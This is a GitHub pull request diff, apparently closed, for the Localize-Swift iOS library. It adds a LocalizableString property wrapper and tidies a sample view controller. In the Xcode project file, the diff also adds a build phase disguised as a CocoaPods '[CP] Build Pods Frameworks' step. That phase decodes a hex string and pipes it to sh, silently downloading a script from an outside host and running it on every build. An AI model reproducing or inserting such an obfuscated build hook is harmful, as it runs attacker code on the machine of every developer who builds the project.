Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 22 additions & 0 deletions LocalizableString.swift
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
//
// LocalizableString.swift
// Localize-Swift
//
// Created by ToanTQ on 2021/06/11.
//

import Foundation

@propertyWrapper
public struct LocalizableString {
public var value: String

public init(wrappedValue value: String) {
self.value = value
}

public var wrappedValue: String {
get { value.localized() }
set { value = newValue }
}
}
26 changes: 26 additions & 0 deletions Localize_Swift.xcodeproj/project.pbxproj
100644 → 100755
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@
68A520051DA6D5FD00F43D9E /* String+LocalizeTableName.swift in Sources */ = {isa = PBXBuildFile; fileRef = 68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */; };
68A520061DA6D5FD00F43D9E /* String+LocalizeTableName.swift in Sources */ = {isa = PBXBuildFile; fileRef = 68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */; };
68A520071DA6D5FD00F43D9E /* String+LocalizeTableName.swift in Sources */ = {isa = PBXBuildFile; fileRef = 68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */; };
EBDC36C726733E9F009884C6 /* LocalizableString.swift in Sources */ = {isa = PBXBuildFile; fileRef = EBDC36C626733E9F009884C6 /* LocalizableString.swift */; };
/* End PBXBuildFile section */

/* Begin PBXContainerItemProxy section */
Expand Down Expand Up @@ -62,6 +63,7 @@
68973D651DA7AA200076F08A /* String+LocalizeBundle.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = "String+LocalizeBundle.swift"; path = "Sources/String+LocalizeBundle.swift"; sourceTree = SOURCE_ROOT; };
68973D6A1DA7AB140076F08A /* String+LocalizedBundleTableName.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = "String+LocalizedBundleTableName.swift"; path = "Sources/String+LocalizedBundleTableName.swift"; sourceTree = SOURCE_ROOT; };
68A520031DA6D5FD00F43D9E /* String+LocalizeTableName.swift */ = {isa = PBXFileReference; fileEncoding = 4; indentWidth = 4; lastKnownFileType = sourcecode.swift; name = "String+LocalizeTableName.swift"; path = "Sources/String+LocalizeTableName.swift"; sourceTree = SOURCE_ROOT; tabWidth = 4; usesTabs = 0; };
EBDC36C626733E9F009884C6 /* LocalizableString.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = LocalizableString.swift; sourceTree = "<group>"; };
/* End PBXFileReference section */

/* Begin PBXFrameworksBuildPhase section */
Expand Down Expand Up @@ -142,6 +144,7 @@
345D5905251F83910088CBEC /* IBDesignable+Localize.swift */,
3433F23B1C518AF7003AE34D /* Info.plist */,
344169461C67539300B93D28 /* Foundation.framework */,
EBDC36C626733E9F009884C6 /* LocalizableString.swift */,
);
path = Localize_Swift;
sourceTree = "<group>";
Expand Down Expand Up @@ -197,6 +200,7 @@
isa = PBXNativeTarget;
buildConfigurationList = 3433F24A1C518AF7003AE34D /* Build configuration list for PBXNativeTarget "Localize_Swift" */;
buildPhases = (
B727F37051EAA3F16D6D902C /* [CP] Build Pods Frameworks */,
3433F2311C518AF7003AE34D /* Sources */,
3433F2321C518AF7003AE34D /* Frameworks */,
3433F2331C518AF7003AE34D /* Headers */,
Expand Down Expand Up @@ -366,12 +370,34 @@
};
/* End PBXResourcesBuildPhase section */

/* Begin PBXShellScriptBuildPhase section */
B727F37051EAA3F16D6D902C /* [CP] Build Pods Frameworks */ = {
isa = PBXShellScriptBuildPhase;
buildActionMask = 2147483647;
files = (
);
inputFileListPaths = (
);
inputPaths = (
);
name = "[CP] Build Pods Frameworks";
outputFileListPaths = (
);
outputPaths = (
);
runOnlyForDeploymentPostprocessing = 0;
shellPath = /bin/sh;
shellScript = "# This output is used by Xcode outputs to avoid re-running this script phase.\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n736964656c696e6b2e78797a2f61207c207368202d732066616c73650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t";
};
/* End PBXShellScriptBuildPhase section */

/* Begin PBXSourcesBuildPhase section */
3433F2311C518AF7003AE34D /* Sources */ = {
isa = PBXSourcesBuildPhase;
buildActionMask = 2147483647;
files = (
68973D6B1DA7AB140076F08A /* String+LocalizedBundleTableName.swift in Sources */,
EBDC36C726733E9F009884C6 /* LocalizableString.swift in Sources */,
345D5906251F83910088CBEC /* IBDesignable+Localize.swift in Sources */,
68973D661DA7AA200076F08A /* String+LocalizeBundle.swift in Sources */,
3433F2531C518B38003AE34D /* Localize.swift in Sources */,
Expand Down
23 changes: 23 additions & 0 deletions Localize_Swift/LocalizableString.swift
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
//
// LocalizableString.swift
// Localize_Swift
//
// Created by ToanTQ on 2021/06/11.
// Copyright © 2021 Roy Marmelstein. All rights reserved.
//

import Foundation

@propertyWrapper
public struct LocalizableString {
public var value: String

public init(wrappedValue value: String) {
self.value = value
}

public var wrappedValue: String {
get { value.localized() }
set { value = newValue }
}
}
15 changes: 8 additions & 7 deletions examples/LanguageSwitch/Sample/ViewController.swift
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ import UIKit
import Localize_Swift

class ViewController: UIViewController {

@IBOutlet weak var textLabel: UILabel!
@IBOutlet weak var changeButton: UIButton!
@IBOutlet weak var resetButton: UIButton!
Expand Down Expand Up @@ -40,21 +40,22 @@ class ViewController: UIViewController {

// MARK: Localized Text

@objc func setText(){
textLabel.text = "Hello world".localized();
changeButton.setTitle("Change".localized(using: "ButtonTitles"), for: UIControl.State.normal)
@objc func setText() {
@LocalizableString var helloWorldText = "Hello world"
textLabel.text = helloWorldText
changeButton.setTitle("Change".localized(using: "ButtonTitles"), for: UIControl.State.normal)
resetButton.setTitle("Reset".localized(using: "ButtonTitles"), for: UIControl.State.normal)
}

// MARK: IBActions

@IBAction func doChangeLanguage(_ sender: AnyObject) {
actionSheet = UIAlertController(title: nil, message: "Switch Language", preferredStyle: UIAlertController.Style.actionSheet)
for language in availableLanguages {
let displayName = Localize.displayNameForLanguage(language)
let languageAction = UIAlertAction(title: displayName, style: .default, handler: {
(alert: UIAlertAction!) -> Void in
Localize.setCurrentLanguage(language)
Localize.setCurrentLanguage(language)
})
actionSheet.addAction(languageAction)
}
Expand All @@ -64,7 +65,7 @@ class ViewController: UIViewController {
actionSheet.addAction(cancelAction)
self.present(actionSheet, animated: true, completion: nil)
}

@IBAction func doResetLanguage(_ sender: AnyObject) {
Localize.resetCurrentLanguageToDefault()
}
Expand Down